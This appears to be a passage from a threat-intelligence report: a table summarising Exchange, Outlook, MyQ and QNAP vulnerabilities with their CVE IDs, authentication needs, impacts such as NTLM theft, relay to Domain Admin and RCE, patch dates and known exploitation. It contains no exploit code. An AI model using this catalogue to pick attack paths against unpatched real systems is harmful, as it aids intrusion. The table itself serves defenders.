| CVE-2023-23397 | CVE-2023-23397 | No (zero-click) | NTLM hash theft | Mar 2023 | ✅ APT28/Forest Blizzard |
| MonikerLink | CVE-2024-21413 | No (preview pane) | NTLM leak + RCE | Feb 2024 | ✅ CISA KEV (2025) |
| CVE-2024-21410 | CVE-2024-21410 | No (relay) | NTLM relay → EoP | Feb 2024 (CU14) | ✅ Zero-day, APT28 |
| OWA SSRF | None assigned | Yes (mailbox) | Full-read internal SSRF | ~Sep 2024 (silent) | Internal pivot |
| PrivExchange | Design flaw | Yes (any mailbox) | Domain Admin via relay | Mitigated (design) | Red teams |
| MyQ RCE | CVE-2024-28059 | No | Unauthenticated RCE | Jan 2024 (MyQ 8.2 P43) | Red team discovery |
| QNAP Stack Overflow | CVE-2023-39300 | Yes (QNAP low-priv) | RCE → root | Sep 2024 (QTS 5.x) | Red team discovery |
Sources: PT SWARM 2020 · Arseniy Sharoglazov, PositiveHack Talks Hanoi Nov 2024 · PT ESC Keylogger Campaign Report 2024–2025 · CVE advisories: Microsoft MSRC, CISA KEV